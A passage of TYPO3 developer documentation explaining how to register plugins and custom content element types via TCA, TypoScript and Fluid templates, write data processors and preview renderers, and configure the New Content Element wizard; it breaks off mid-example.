A content element is a standard unit for managing and displaying content, such as text, images, videos, tables, and more. TYPO3 provides a variety of built-in content elements. It is possible to define custom content elements.

Plugin news article detail

Plugins

A plugin in TYPO3 is more complex, typically providing dynamic or interactive functionality. Plugins are usually provided by extensions that introduce new features to the website.

The data to be displayed is usually supplied by a special PHP class called a "controller". Depending on the technology used in the controller the plugin can be an Extbase plugin or a plain plugin.

Content elements in TYPO3

A content element is a standard unit for managing and displaying content, such as text, images, videos, tables, and more.

In the TYPO3 backend, content elements are commonly managed in module Web > Page.

From a technical point of view content elements are records stored in the database table tt_content. Each content element has a specific content element type, specified by the database field tt_content.CType. This type influences both the backend form and the frontend output.

The appearance of a content element in the backend form is defined via the TYPO3 Configuration Array (TCA) of table tt_content. Each content element type is configured by one entry in the section $TCA['types'].

The output of the content element in the frontend is configured by an entry in the TypoScript top-level object tt_content using the same key as in TCA. In most cases a FLUIDTEMPLATE is used delegating the actual output to the templating engine Fluid.

A content element can be of a type supplied by TYPO3, such as textmedia (text with or without images or videos). Or it can have a custom type supplied by an extension such as carousel provided by the bk2k/bootstrap-package extension.

You can add custom content elements to your extension or site package.

It is also possible to use an extension such as contentblocks/content-blocks , mask/mask , or t3/dce to add custom content elements to your projects.

Adding custom content elements is possible without writing PHP code and can therefore also be done by TYPO3 integrators.

Plugins in TYPO3

A plugin in TYPO3 is a more complex implementation, typically providing dynamic or interactive functionality. Plugins are usually provided by extensions that introduce new features to the website.

The data to be displayed is usually supplied by a special PHP class called a "controller". Depending on the technology used in the controller the plugin can be an Extbase plugin or a plain plugin.

Extbase plugins

For usage in the TYPO3 backend Extbase plugins are registered with utility functions of class \TYPO3\CMS\Extbase\Utility\ExtensionUtility (not to be confused with \TYPO3\CMS\Core\Utility\ExtensionManagementUtility ).

An Extbase plugin is configured for the frontend with ExtensionUtility::configurePlugin() in file EXT:my_extension/ext_localconf.php:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);
defined('TYPO3') or die();

use MyVendor\MyExtension\Controler\MyController;
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

ExtensionUtility::configurePlugin(
    'MyExtension',
    'MyPlugin',
    [MyController::class => 'list,comment'],
    [MyController::class => 'comment'],
    ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT,
);
Copied!

Deprecated since version 13.4

Method ExtensionUtility::configurePlugin() also takes care of registering the plugin for frontend output in TypoScript using an object of type EXTBASEPLUGIN.

If it is desired that editors can insert the Extbase plugin like a content element into the page it also needs to be registered with ExtensionUtility::registerPlugin() in the TCA Overrides, for example file EXT:my_extension/Configuration/TCA/Overrides/tt_content.php:

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

defined('TYPO3') or die();

ExtensionUtility::registerPlugin(
    'MyExtension',
    'MyPlugin',
    'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:my_plugin.title',
    'myextension_pluginicon',
    'plugins',
    'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:my_plugin.description',
);
Copied!

For a detailed explanation of Extbase plugins including examples for controllers see chapter Extbase: Extension framework in TYPO3.

Plugins without Extbase

It is possible to create a plugin without using Extbase by creating a plain PHP class as a controller.

In this case you have to define the TypoScript configuration yourself. A USER or USER_INT TypoScript object can be used to delegate the rendering to your controller:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_myextension_myplugin = USER_INT
plugin.tx_myextension_myplugin {
  userFunc = MyVendor\MyPlugin\Controller\MyController->doSomething
}

tt_content.myextension_myplugin < plugin.tx_myextension_myplugin
Copied!

To register such a plugin as content element you can use function ExtensionManagementUtility::addPlugin() in the TCA overrides, for example EXT:my_extension/Configuration/TCA/Overrides/tt_content.php:

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

ExtensionManagementUtility::addPlugin(
    [
        'label' => 'LLL:EXT:my_extension/Resources/Private/Language/locallang_db.xlf:my_plugin.title',
        'value' => 'myextension_myplugin',
        'group' => 'plugins',
        'icon' => 'myextension_mypluginicon',
        'description' => 'LLL:EXT:my_extension/Resources/Private/Language/locallang_db.xlf:my_plugin.description',
    ],
    'CType',
    'my_extension',
);
Copied!

Changed in version 14.0

The method's second and third parameter have been dropped. This method can only be used with the field CType of table tt_content.

Typical characteristics of plugins

  • Plugins often use additional database tables which contain records which are dynamically displayed via the plugin - often in a list view, a single view, optionally with pagination and search functionality. An extension may provide several plugins, each with a dedicated function, such as the list view.
  • Plugins are often used if more complex functionality is required (than in non- plugin content elements)
  • Plugins can be created using the Extbase framework or by Core functionality.

A typical extension with plugins is the georgringer/news extension which comes with plugins to display news records in lists or as a single view with only one news record.

The news records are stored in a custom database table (tx_news_domain_model_news) and can be edited in the backend.

There are also system extensions that have plugins. typo3/cms-felogin has a plugin that allow frontend users, stored in table fe_users to log into the website. typo3/cms-indexed-search has a plugin that can be used to search in the index and display search results.

Editing

The Editors Tutorial describes how to work with page content and lists the basic TYPO3 content elements and how to work with them.

Additional descriptions can be found in the fluid_styled_content documentation.

Customizing

Backend Layouts can be configured to define how content elements are arranged in the TYPO3 backend (in rows, columns, grids). This can be used in the frontend to determine how the content elements are to be arranged (e.g. in the footer of the page, left column etc.).

Often content elements and plugins contain a number of fields. Not all of these may be relevant for your site. It is good practice to configure which fields will be displayed in the backend. There are a number of ways to do this:

Creating custom content element types or plugins

The following chapters handle how to create custom content element types and plugins:

How to make your plugins or content elements configurable by editors with

Create a custom content element type

This page explains how to create your own custom content element types. These are comparable to the predefined content element types supplied by TYPO3. The latter can be found in the system extension fluid_styled_content.

A content element can be based on fields already available in the tt_content table.

It is also possible to add extra fields to the tt_content table, see Extending tt_content.

The data of the content element is then passed to a TypoScript object, in most cases to a FLUIDTEMPLATE.

Some data might need additional Data processing. Data processors are frequently used for example to process files (files data processor) or to fetch related records (database-query data processor).

A data processor can also be used to convert a string to an array, as is done for example in the table content element with the field bodytext.

In these cases Fluid does not have to deal with these manipulations or transformation.

You can find the example below in the TYPO3 Documentation Team extension t3docs/examples .

Prerequisites

The following examples require the system extension fluid_styled_content.

It can be installed via Composer with:

composer req typo3/cms-fluid-styled-content
Copied!

Use an extension

We recommend to create your own extension for new custom content element types. The following example uses the extension key examples.

Here you can find information on how to create an extension.

Register the content element type

First we need to define the key of the new content element type. We use myextension_basiccontent throughout the simple example.

Next the key needs to be added to the select field CType. This will make it available in Type dropdown in the backend.

The following call needs to be added to the file Configuration/TCA/Overrides/tt_content.php.

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
<?php

declare(strict_types=1);
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

$key = 'myextension_basiccontent';

// Adds the content element to the "Type" dropdown
ExtensionManagementUtility::addTcaSelectItem(
    'tt_content',
    'CType',
    [
        'label' => 'Example - basic content',
        'value' => $key,
        'group' => 'default',
    ],
    'textmedia',
    'after',
);

// Configure the default backend fields for the content element
$GLOBALS['TCA']['tt_content']['types'][$key] = [
    'showitem' => '
            --palette--;;headers,
            bodytext,
        ',
];
Copied!

Now the new content element is available in the CType selector and the "New Content Element" wizard.

Display an icon

If you define no icon a default icon will be displayed.

You can use an existing icon from the TYPO3 core or register your own icon using the Icon API.

 ExtensionManagementUtility::addTcaSelectItem(
     'tt_content',
     'CType',
     [
         'label' => 'Example - basic content',
         'value' => $key,
+        'icon' => 'examples-icon-basic',
         'group' => 'default',
     ],
     'textmedia',
     'after',
 );
Copied!

The new content element wizard

Changed in version 13.0

Starting with TYPO3 13.0 content elements added via TCA are automatically displayed in the New Content Element wizard. To stay compatible with both TYPO3 v12.4 and v13 keep the page TSconfig for TYPO3 v12.4. See New Content Element wizard in TYPO3 12.4.

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
<?php

declare(strict_types=1);
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

$key = 'myextension_basiccontent';

// Adds the content element to the "Type" dropdown
ExtensionManagementUtility::addTcaSelectItem(
    'tt_content',
    'CType',
    [
        'label' => 'Example - basic content',
        'value' => $key,
        'group' => 'default',
    ],
    'textmedia',
    'after',
);

// Configure the default backend fields for the content element
$GLOBALS['TCA']['tt_content']['types'][$key] = [
    'showitem' => '
            --palette--;;headers,
            bodytext,
        ',
];
Copied!

The values in the array highlighted in the code example above are used for the display in the New Content Element wizard.

It is also possible to define a description and an icon:

 ExtensionManagementUtility::addTcaSelectItem(
     'tt_content',
     'CType',
     [
         'label' => 'Example - basic content',
         'value' => $key,
+        'icon' => 'examples-icon-basic',
+        'description' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:basic_content.description',
         'group' => 'default',
     ],
     'textmedia',
     'after',
 );
Copied!

The content element wizard configuration is described in detail in New content element wizard.

Configure the backend form

Changed in version 13.3

Configure the backend fields for your new content element in the file Configuration/TCA/Overrides/tt_content.php:

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
<?php

declare(strict_types=1);
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

$key = 'myextension_basiccontent';

// Adds the content element to the "Type" dropdown
ExtensionManagementUtility::addTcaSelectItem(
    'tt_content',
    'CType',
    [
        'label' => 'Example - basic content',
        'value' => $key,
        'group' => 'default',
    ],
    'textmedia',
    'after',
);

// Configure the default backend fields for the content element
$GLOBALS['TCA']['tt_content']['types'][$key] = [
    'showitem' => '
            --palette--;;headers,
            bodytext,
        ',
];
Copied!

In line 27 a custom palette with the header and related fields is displayed. This palette and its fields are defined in EXT:frontend/Configuration/TCA/tt_content.php (GitHub).

In line 28 a predefined field, bodytext is added to be displayed in the form of the new content element type.

Configure the frontend rendering

The output in the frontend gets configured in the setup TypoScript. See Add TypoScript to your extension about how to add TypoScript.

In the examples extension the TypoScript can be found at Configuration/TypoScript/CustomContentElements/Basic.typoscript

The Fluid templates for our custom content element will be saved in our extension. Therefore we need to add the path to the Properties:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.contentElement {
  templateRootPaths.200 = EXT:my_extension/Resources/Private/Templates/ContentElements/
}
Copied!

You can use any index (200 in this example), just make sure it is unique. If needed you can also add paths for partials and layouts.

Now you can register the rendering of your custom content element:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
tt_content {
  myextension_basiccontent =< lib.contentElement
  myextension_basiccontent {
    templateName = BasicContent
  }
}
Copied!

The lib.contentElement path is defined in file EXT:fluid_styled_content/Configuration/TypoScript/Helper/ContentElement.typoscript (GitHub). and uses a FLUIDTEMPLATE.

We reference fluid_styled_content lib.contentElement from our new content element and only change the Fluid template to be used.

The Fluid template is configured by the Properties property as NewContentElement.

This will load a BasicContent.html template file from the path defined at the templateRootPaths.

In the example extension you can find the file at EXT:examples/Resources/Private/Templates/ContentElements/BasicContent.html

tt_content fields can now be used in the Fluid template by accessing them via the data variable.

The following example shows the text entered in the text field. New lines are converted to <br> tags.

EXT:examples/Resources/Private/Templates/NewContentElement.html
<html data-namespace-typo3-fluid="true"
      xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers">
   <h2>Data available to the content element: </h2>
   <f:debug inline="true">{_all}</f:debug>
   <h2>Output</h2>
   <div><f:format.html>{data.bodytext}</f:format.html></div>
</html>
Copied!

All fields of the table tt_content are now available in the variable data. Read more about Fluid.

Below you can see the example output of the new content element and a dump of all available data:

The example output

Extended example: Extend tt_content and use data processing

You can find the complete example in the TYPO3 Documentation Team extension t3docs/examples . The steps for creating a simple new content element as above need to be repeated. We use the key examples_newcontentcsv in this example.

We want to output comma separated values (CSV) stored in the field bodytext. As different programs use different separators to store CSV we want to make the separator configurable.

Extending tt_content

If the available fields in the table tt_content are not sufficient you can add your own fields. In this case we need a field tx_examples_separator from which to choose the desired separator.

Extending the database schema

First we extend the database schema by adding the following to the file ext_tables.sql:

EXT:my_extension/ext_tables.sql
CREATE TABLE tt_content (
    myextension_separator varchar(255) DEFAULT '' NOT NULL,
    myextension_reference  int(11) unsigned DEFAULT '0' NOT NULL,
);
Copied!

Defining the field in the TCA

The new field tx_examples_separator is added to the TCA definition of the table tt_content in the file Configuration/TCA/Overrides/tt_content.php:

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
<?php

declare(strict_types=1);
defined('TYPO3') or die();

$temporaryColumn = [
    'myextension_separator' => [
        'exclude' => 0,
        'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tt_content.myextension_separator',
        'config' => [
            'type' => 'select',
            'renderType' => 'selectSingle',
            'items' => [
                ['Standard CSV data formats', '--div--'],
                ['Comma separated', ','],
                ['Semicolon separated', ';'],
                ['Special formats', '--div--'],
                ['Pipe separated (TYPO3 tables)', '|'],
                ['Tab separated', "\t"],
            ],
            'default' => ',',
        ],
    ],
];
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTCAcolumns('tt_content', $temporaryColumn);
Copied!

You can read more about defining fields via TCA in the TCA Reference.

Now the new field can be used in your Fluid template just like any other tt_content field.

Another example shows the connection to a foreign table. This allows you to be more flexible with the possible values in the select box. The new field myextension_reference is a reference to another table of the extension called tx_myextension_mytable:

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
<?php

declare(strict_types=1);
defined('TYPO3') or die();

$temporaryColumn = [
    'myextension_reference' => [
        'exclude' => 0,
        'label' => 'LLL:EXT:my_extension/Resources/Private/Language/locallang_db.xlf:' .
            'tt_content.myextension_reference',
        'config' => [
            'type' => 'select',
            'renderType' => 'selectSingle',
            'items' => [
                ['None', '0'],
            ],
            'foreign_table' => 'tx_myextension_mytable',
            'foreign_table_where' =>
                'AND {#tx_myextension_mytable}.{#pid} = ###PAGE_TSCONFIG_ID### ' .
                'AND {#tx_myextension_mytable}.{#hidden} = 0 ' .
                'AND {#tx_myextension_mytable}.{#deleted} = 0 ' .
                'ORDER BY sys_category.uid',
            'default' => '0',
        ],
    ],
];
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTCAcolumns('tt_content', $temporaryColumn);
Copied!

Defining the field in the TCE

An individual modification of the newly added field myextension_reference to the TCA definition of the table tt_content can be done in the TYPO3 Core Engine (TCE) page TSconfig. In most cases it is necessary to set the page id of the general storage folder. Then the examples extension will only use the content records from the given page id.

EXT:my_extension/Configuration/page.tsconfig
TCEFORM.tt_content.myextension_reference.PAGE_TSCONFIG_ID = 18
Copied!

If more than one page id is allowed, this configuration must be used instead (and the above TCA must be modified to use the marker ###PAGE_TSCONFIG_IDLIST### instead of ###PAGE_TSCONFIG_ID###):

EXT:my_extension/Configuration/page.tsconfig
TCEFORM.tt_content.myextension_reference.PAGE_TSCONFIG_IDLIST = 18, 19, 20
Copied!

Data processing

Data processors can be used for data manipulation or fetching before the variables get passed on to the template.

This is done in the dataProcessing section where you can add an arbitrary number of data processors.

You can see a complete list of available data processors in the Typoscript Reference or write a custom data processor.

Each processor has to be added with a fully qualified class name and optional parameters to be used in the data processor:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
tt_content {
  myextension_newcontentcsv =< lib.contentElement
  myextension_newcontentcsv {
    templateName = DataProcCsv
    dataProcessing.10 = TYPO3\CMS\Frontend\DataProcessing\CommaSeparatedValueProcessor
    dataProcessing.10 {
      fieldName = bodytext
      fieldDelimiter.field = myextension_separator
      fieldEnclosure = "
      maximumColumns.field = imagecols
      as = myTable
    }
  }
}
Copied!

You can now iterate over the variable myTable in the Fluid template, in this example Resources/Private/Templates/ContentElements/DataProcCsv.html

EXT:examples/Resources/Private/Templates/ContentElements/DataProcCsv.html
<html data-namespace-typo3-fluid="true" xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers">
   <h2>Data in variable "myTable"</h2>
   <f:debug inline="true">{myTable}</f:debug>

   <h2>Output, {data.imagecols} columns separated by char {data.tx_examples_separator}</h2>
   <table class="table table-hover">
      <f:for each="{myTable}" as="columns" iteration="i">
         <tr>
            <th scope="row">{i.cycle}</th>
            <f:for as="column" each="{columns}">
               <td>{column}</td>
            </f:for>
         <tr>
      </f:for>
   </table>
</html>
Copied!

The output would look like this (we added a debug of the variable myTable):

Output of the CommaSeparatedValueProcessor

Custom data processors

When there is no suitable data processor that prepares the variables needed for your content element or template, you can define a custom data processor by implementing \TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface .

You can find the example below in the TYPO3 Documentation Team extension t3docs/examples .

Using a custom data processor in TypoScript

The data processor can be configured through a TypoScript setup configuration. A custom data processor can be used in the definition of a "new custom content element" as follows:

EXT:examples/Configuration/TypoScript/DataProcessors/Processors/CustomCategoryProcessor.typoscript
tt_content {
    examples_dataproccustom =< lib.contentElement
    examples_dataproccustom {
        templateName = DataProcCustom
        dataProcessing.10 = custom-category
        dataProcessing.10 {
            as = categories
            categoryList.field = categories
        }
    }
}
Copied!

In the extension examples you can find the code in EXT:examples/Configuration/TypoScript/DataProcessors/Processors/CustomCategoryProcessor.typoscript.

In the field categories the comma-separated categories are stored.

Register an alias for the data processor (optional)

Instead of using the fully-qualified class name as data processor identifier (in the example above \T3docs\Examples\DataProcessing\CustomCategoryProcessor) you can also define a short alias in Configuration/Services.yaml:

EXT:examples/Configuration/Services.yaml
T3docs\Examples\DataProcessing\CustomCategoryProcessor:
    tags:
        - name: 'data.processor'
          identifier: 'custom-category'
Copied!

The alias custom-category can now be used as data processor identifier like in the TypoScript example above.

Implementing the custom data processor

The custom data processor must implement \TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface . The main method process() gets called with the following parameters:

ContentObjectRenderer $cObj
Receives the data of the current TypoScript context, in this case the data of the calling content element.
array $contentObjectConfiguration
Contains the configuration of the calling content element. In this example it is the configuration tt_content.examples_dataproccustom
array $processorConfiguration
Contains the configuration of the currently called data processor. In this example it is the value of as and the stdWrap configuration of the categoryList
array $processedData
On calling, contains the processed data of all previously called data processors on this same content element. Your custom data processor also stores the variables to be sent to the Fluid template here.

This is an example implementation of a custom data processor:

EXT:examples/Classes/DataProcessing/CustomCategoryProcessor.php
<?php

declare(strict_types=1);

/*
 * This file is part of the TYPO3 CMS project. [...]
 */

namespace T3docs\Examples\DataProcessing;

use T3docs\Examples\Domain\Repository\CategoryRepository;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;
use TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface;

/**
 * Class for data processing comma separated categories
 */
class CustomCategoryProcessor implements DataProcessorInterface
{
    /**
     * Process data for the content element "My new content element"
     *
     * @param ContentObjectRenderer $cObj The data of the content element or page
     * @param array<string, mixed> $contentObjectConfiguration The configuration of Content Object
     * @param array<string, mixed> $processorConfiguration The configuration of this processor
     * @param array<string, mixed> $processedData Key/value store of processed data (e.g. to be passed to a Fluid View)
     * @return array<mixed> the processed data as key/value store
     */
    public function process(
        ContentObjectRenderer $cObj,
        array $contentObjectConfiguration,
        array $processorConfiguration,
        array $processedData,
    ) {
        if (isset($processorConfiguration['if.']) && !$cObj->checkIf($processorConfiguration['if.'])) {
            return $processedData;
        }
        // categories by comma separated list
        $categoryIdList = $cObj->stdWrapValue('categoryList', $processorConfiguration);
        $categories = [];
        if ($categoryIdList) {
            $categoryIdList = GeneralUtility::intExplode(',', (string)$categoryIdList, true);
            /** @var CategoryRepository $categoryRepository */
            $categoryRepository = GeneralUtility::makeInstance(CategoryRepository::class);
            foreach ($categoryIdList as $categoryId) {
                $categories[] = $categoryRepository->findByUid($categoryId);
            }
            // set the categories into a variable, default "categories"
            $targetVariableName = $cObj->stdWrapValue('as', $processorConfiguration, 'categories');
            $processedData[$targetVariableName] = $categories;
        }
        return $processedData;
    }
}
Copied!

In the extension examples you can find the code in EXT:/examples/Classes/DataProcessing/CustomCategoryProcessor.php.

On being called, the CustomCategoryProcessor runs stdWrap on the calling ContentObjectRenderer, which has the data of the table tt_content in the calling content element.

The field categoryList gets configured in TypoScript as follows:

categoryList.field = categories
Copied!

stdWrap fetches the value of categoryList from tt_content.tx_examples_main_category of the currently calling content element.

Now the custom data processor processes the comma-separated values into an array of integers that represent uids of the table sys_category. It then fetches the category data from the CategoryRepository by calling findByUid.

The data of the category records then get stored in the desired key in the $processedData array.

To make the data processor more configurable, we test for a TypoScript if condition at the beginning, and name the key we use to store the data configurable by the configuration as.

Create plugins

How to create plugins with the Extbase framework and Fluid templating engine is handled in depth in the chapter Registration of frontend plugins.

There are basically two ways to create frontend plugins in TYPO3:

  1. With the Extbase framework using configurePlugin() in the file ext_localconf.php and registerPlugin() in the file Configuration/TCA/Overrides/tt_content.php
  2. Create a plugin using Core functionality (without Extbase) and a custom controller

Generally speaking, if you already use Extbase, it is good practice to create your plugins using the Extbase framework. This also involves:

  • creating controller actions
  • create a domain model and repository (if your plugin requires records that are persisted in the database)
  • create a view using Fluid templates

Configure custom backend preview for content element

To allow editors a smoother experience, all custom content elements and plugins should be configured with a corresponding backend preview that shows an approximation of the element's appearance in the TYPO3 page module. The following sections describe how to achieve that.

A preview renderer is used to facilitate (record) previews in TYPO3. This class is responsible for generating the preview and the wrapping.

The default preview renderer is \TYPO3\CMS\Backend\Preview\StandardContentPreviewRenderer and handles the Core's built-in content types (field CType in table tt_content).

Extend the default preview renderer

There are two ways to provide previews for your custom content types: via page TSconfig or event listener.

Page TSconfig

This is the "integrator" way, no PHP coding is required. Just some page TSconfig and a Fluid template.

EXT:my_extension/Configuration/page.tsconfig
mod.web_layout {
  tt_content {
    preview {
      # Your CType
      example_ctype = EXT:my_extension/Resources/Private/Templates/Preview/ExampleCType.html
    }
  }
}
Copied!

In the Fluid template, the following variables are available:

  • All properties of the tt_content row (for example {uid}, {title}, and {header})
  • The current record as object ( \TYPO3\CMS\Core\Domain\Record ) in {record}
  • FlexForm settings as array in {pi_flexform_transformed}

For more details see the TSconfig Reference.

Event listener

This requires at least some PHP coding, but allows more flexibility in accessing and processing the content elements properties.

The event PageContentPreviewRenderingEvent is being dispatched by the StandardContentPreviewRenderer. You can listen to it with your own event listener.

Have a look at this showcase implementation.

For general information see the chapter on implementing an event listener.

Writing a preview renderer

A custom preview renderer must implement the interface \TYPO3\CMS\Backend\Preview\PreviewRendererInterface which contains the following API methods:

interface PreviewRendererInterface
Fully qualified name
\TYPO3\CMS\Backend\Preview\PreviewRendererInterface

Interface PreviewRendererInterface

Contract for classes capable of rendering previews of a given record from a table. Responsible for rendering preview header, preview content and wrapping of those two values.

Responsibilities are segmented into three methods, one for each responsibility, which is done in order to allow overriding classes to change those parts individually without having to replace other parts. Rather than relying on implementations to be friendly and divide code into smaller pieces and give them (at least) protected visibility, the key methods are instead required on the interface directly.

Callers are then responsible for calling each method and combining/wrapping the output appropriately.

renderPageModulePreviewHeader ( \TYPO3\CMS\Backend\View\BackendLayout\Grid\GridColumnItem $item)

Dedicated method for rendering preview header HTML for the page module only. Receives the GridColumnItem that contains the record for which a preview header should be rendered and returned.

param $item

the item

Returns
string
renderPageModulePreviewContent ( \TYPO3\CMS\Backend\View\BackendLayout\Grid\GridColumnItem $item)

Dedicated method for rendering preview body HTML for the page module only. Receives the GridColumnItem that contains the record for which a preview should be rendered and returned.

param $item

the item

Returns
string
renderPageModulePreviewFooter ( \TYPO3\CMS\Backend\View\BackendLayout\Grid\GridColumnItem $item)

Render a footer for the record to display in page module below the body of the item's preview.

param $item

the item

Returns
string
wrapPageModulePreview ( string $previewHeader, string $previewContent, \TYPO3\CMS\Backend\View\BackendLayout\Grid\GridColumnItem $item)

Dedicated method for wrapping a preview header and body HTML. Receives $item, an instance of GridColumnItem holding among other things the record, which can be used to determine appropriate wrapping.

param $previewHeader

the previewHeader

param $previewContent

the previewContent

param $item

the item

Returns
string

Implementing these methods allows you to control the exact composition of the preview.

This means assuming your preview renderer returns <h4>Header</h4> from the header render method and <p>Body</p> from the preview content rendering method and your wrapping method does return '<div>' . $previewHeader . $previewContent . '</div>'; then the entire output becomes <div><h4>Header</h4><p>Body</p></div> when combined.

Should you wish to reuse parts of the default preview rendering and only change, for example, the method that renders the preview body content, you can extend \TYPO3\CMS\Backend\Preview\StandardContentPreviewRenderer in your custom preview renderer class - and selectively override the methods from the API displayed above.

Configuring the implementation

Individual preview renderers can be defined by using one of the following approaches:

  1. Any record

    $GLOBALS['TCA'][$table]['ctrl']['previewRenderer']
        = MyVendor\MyExtension\Preview\MyPreviewRenderer::class;
    Copied!

    This specifies the preview renderer to be used for any record in $table.

  2. Table has a type field/attribute

    $GLOBALS['TCA'][$table]['types'][$type]['previewRenderer']
        = MyVendor\MyExtension\Preview\MyPreviewRenderer::class;
    Copied!

    This specifies the preview renderer only for records of type $type as determined by the type field of your table.

Deprecated since version 13.4

New content element wizard

Changed in version 13.0

Custom content element types are auto-registered for the New Content Element wizard. The listing can be configured using TCA.

The content element wizard opens when a new content element is created. It can be fully configured using ref:Page TSconfig <t3tsref:pagetsconfig>.

The wizard looks like this:

  1. The title can be a string or, recommended, a language reference.
  2. The description can be a string or, recommended, a language reference.
  3. The group can be one of the existing group identifiers or a new one.
  4. The icon can be one of the existing registered icon keys or a custom icon key registered in the icon API.

Any of these entries can be omitted. You should at least define a title.

New content elements are usually added in extensions in file EXT:my_extension/Configuration/Overrides/tt_content.php.

The following groups are available by default:

default

Changed in version 13.0 This group was renamed from group `common`.

Default group for commonly used content elements

forms
Content elements representing forms like a contact form or a login form

lists

menu
Menus that can be inserted as content elements like a sitemap or a menu of all subpages.
plugins
Plugins provided by extensions
special
Content elements that are used of special cases

All content element groups are listed in $GLOBALS['TCA']['tt_content']['columns']['CType']['config']['itemGroups'] you can debug them in the TYPO3 backend using the backend module System > Configuration if typo3/cms-lowlevel is installed and you are an administrator.

Some third party extensions like bk2k/bootstrap-package are altering the available groups.

Plain content elements or plugins

You can add a content element or plain plugin (no Extbase) using method ExtensionManagementUtility::addPlugin(): of class \TYPO3\CMS\Core\Utility\ExtensionManagementUtility .

EXT:my_extension/Configuration/Overrides/tt_content.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

ExtensionManagementUtility::addPlugin(
    [
        'label' => 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myextension_myplugin_title',
        'value' => 'myextension_myplugin',
        'icon' => 'content-text',
        'group' => 'plugin',
        'description' => 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myextension_myplugin_description',
    ],
);
Copied!

The key value in the parameter $itemArray is used as key of the newly added content element representing the plugin.

Changed in version 14.0

The method's second and third parameter have been dropped. This method can only be used with the field CType of table tt_content.

This method supplies some default values:

group
Defaults to plugins

While it is still possible to use ExtensionManagementUtility::addTcaSelectItem() as is commonly seen in older extensions this method is not specific to content elements and therefore sets not default values for group and icon.

Plugins (Extbase) in the "New Content Element" wizard

To add an Extbase plugin you can use ExtensionManagementUtility::registerPlugin of class \TYPO3\CMS\Extbase\Utility\ExtensionManagementUtility.

This method is only available for Extbase plugins defined via ExtensionUtility::configurePlugin in file EXT:my_extension/ext_localconf.php

EXT:my_extension/Configuration/Overrides/tt_content.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

defined('TYPO3') or die();

ExtensionUtility::registerPlugin(
    'my_extension',
    'MyPlugin',
    'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myextension_myplugin_title',
    'myextension_myplugin',
    'plugins',
    'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myextension_myplugin_description',
);
Copied!

Override the wizard with page TSconfig

The TCA is always set globally for the complete TYPO3 installation. If you have a multi-site installation and want to alter the appearance of content elements in the wizard or remove certain content elements this can be done via page TSconfig. This is commonly done on a per site basis so you can use the Site set page TSconfig provider in your site package.

You can use the settings of newContentElement.wizardItems.

Remove items from the "New Content Element" wizard

Using [group].removeItems you can remove a content element type from the wizard.

EXT:my_sitepackage/Configuration/Sets/MySet/page.tsconfig
mod.wizards.newContentElement.wizardItems {
  special.removeItems := addToList(html)
}
Copied!

This removes the content element "Plain HTML" from the group special.

You can also remove whole groups of content elements from the wizard:

EXT:my_sitepackage/Configuration/Sets/MySet/page.tsconfig
# This will remove the "menu" group
mod.wizards.newContentElement.wizardItems.removeItems := addToList(menu)
Copied!

Change title, description, icon and default values in the wizard

You can use the following page tsconfig properties to change the display of the element in the wizard:

EXT:my_sitepackage/Configuration/Sets/MySet/page.tsconfig
mod.wizards.newContentElement.wizardItems {
  special.html {
    title = Plain HTML(use with care!!)
    description (
      Attention: This HTML is output unsanized! The editor is responsible
      to only use safe HTML content.
    )
    icon = mysitepackage_htmlattention
  }
}
Copied!

Register a new group in the "New Content Element" wizard

New groups are added on the fly, however it is recommended to set a localized header:

EXT:my_extension/Configuration/Overrides/tt_content.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

defined('TYPO3') or die();

ExtensionManagementUtility::addTcaSelectItemGroup(
    'tt_content',
    'CType',
    'myextension_myplugingroup',
    'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myextension_myplugin.group',
);

ExtensionUtility::registerPlugin(
    'my_extension',
    'MyPlugin',
    'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myextension_myplugin_title',
    'myextension_myplugin',
    'myextension_myplugingroup',
    'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myextension_myplugin_description',
);
Copied!

The headers can also be overridden on a per site basis using page TSconfig.

EXT:my_sitepackage/Configuration/Sets/MySet/page.tsconfig
mod.wizards.newContentElement.wizardItems {
